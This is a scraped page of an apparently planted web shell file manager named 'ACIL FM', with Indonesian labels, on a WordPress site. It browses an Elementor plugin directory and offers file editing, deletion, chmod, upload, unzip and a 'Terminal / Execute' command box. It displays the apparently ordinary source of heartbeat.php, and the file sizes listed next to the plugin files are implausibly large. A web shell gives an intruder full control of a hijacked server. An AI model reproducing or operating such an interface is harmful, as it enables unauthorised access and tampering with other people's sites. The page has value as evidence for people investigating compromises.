ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site BKP/wp-content/plugins/elementor/includes
/
home
mhhtmff
www
site BKP
wp-content
plugins
elementor
includes
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
admin-templates
-
chmod
Open
Rename
Delete
base
-
chmod
Open
Rename
Delete
controls
-
chmod
Open
Rename
Delete
editor-templates
-
chmod
Open
Rename
Delete
elements
-
chmod
Open
Rename
Delete
interfaces
-
chmod
Open
Rename
Delete
libraries
-
chmod
Open
Rename
Delete
managers
-
chmod
Open
Rename
Delete
settings
-
chmod
Open
Rename
Delete
template-library
-
chmod
Open
Rename
Delete
widgets
-
chmod
Open
Rename
Delete
api.php
6.57 MB
chmod
View
DL
Edit
Rename
Delete
autoloader.php
9.28 MB
chmod
View
DL
Edit
Rename
Delete
beta-testers.php
2.99 MB
chmod
View
DL
Edit
Rename
Delete
compatibility.php
10.62 MB
chmod
View
DL
Edit
Rename
Delete
conditions.php
2.7 MB
chmod
View
DL
Edit
Rename
Delete
db.php
14.73 MB
chmod
View
DL
Edit
Rename
Delete
embed.php
8.3 MB
chmod
View
DL
Edit
Rename
Delete
fonts.php
56.36 MB
chmod
View
DL
Edit
Rename
Delete
frontend.php
39.3 MB
chmod
View
DL
Edit
Rename
Delete
heartbeat.php
2.57 MB
chmod
View
DL
Edit
Rename
Delete
maintenance-mode.php
11.13 MB
chmod
View
DL
Edit
Rename
Delete
maintenance.php
2.59 MB
chmod
View
DL
Edit
Rename
Delete
plugin.php
16.74 MB
chmod
View
DL
Edit
Rename
Delete
preview.php
7.78 MB
chmod
View
DL
Edit
Rename
Delete
rollback.php
3.63 MB
chmod
View
DL
Edit
Rename
Delete
shapes.php
6.38 MB
chmod
View
DL
Edit
Rename
Delete
stylesheet.php
8.91 MB
chmod
View
DL
Edit
Rename
Delete
tracker.php
15.35 MB
chmod
View
DL
Edit
Rename
Delete
user.php
7.73 MB
chmod
View
DL
Edit
Rename
Delete
utils.php
20.91 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site BKP/wp-content/plugins/elementor/includes/heartbeat.php
<?php namespace Elementor; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor heartbeat. * * Elementor heartbeat handler class is responsible for initializing Elementor * heartbeat. The class communicates with WordPress Heartbeat API while working * with Elementor. * * @since 1.0.0 */ class Heartbeat { /** * Heartbeat received. * * Locks the Heartbeat response received when editing with Elementor. * * Fired by `heartbeat_received` filter. * * @since 1.0.0 * @access public * * @param array $response The Heartbeat response. * @param array $data The `$_POST` data sent. * * @return array Heartbeat response received. */ public function heartbeat_received( $response, $data ) { if ( isset( $data['elementor_post_lock']['post_ID'] ) ) { $post_id = $data['elementor_post_lock']['post_ID']; $locked_user = Plugin::$instance->editor->get_locked_user( $post_id ); if ( ! $locked_user || ! empty( $data['elementor_force_post_lock'] ) ) { Plugin::$instance->editor->lock_post( $post_id ); } else { $response['locked_user'] = $locked_user->display_name; } /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementorNonce'] = $ajax->create_nonce(); } return $response; } /** * Refresh nonces. * * Filter the nonces to send to the editor when editing with Elementor. Used * to refresh the nonce when the nonce expires while editing. This way the * user doesn't need to log-in again as Elementor fetches the new nonce from * the server using ajax. * * Fired by `wp_refresh_nonces` filter. * * @since 1.8.0 * @access public * * @param array $response The no-priv Heartbeat response object or array. * @param array $data The `$_POST` data sent. * * @return array Refreshed nonces. */ public function refresh_nonces( $response, $data ) { if ( isset( $data['elementor_post_lock']['post_ID'] ) ) { /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementor-refresh-nonces'] = [ 'elementorNonce' => $ajax->create_nonce(), 'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ), ]; } return $response; } /** * Heartbeat constructor. * * Initializing Elementor heartbeat. * * @since 1.0.0 * @access public */ public function __construct() { add_filter( 'heartbeat_received', [ $this, 'heartbeat_received' ], 10, 2 ); add_filter( 'wp_refresh_nonces', [ $this, 'refresh_nonces' ], 30, 2 ); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply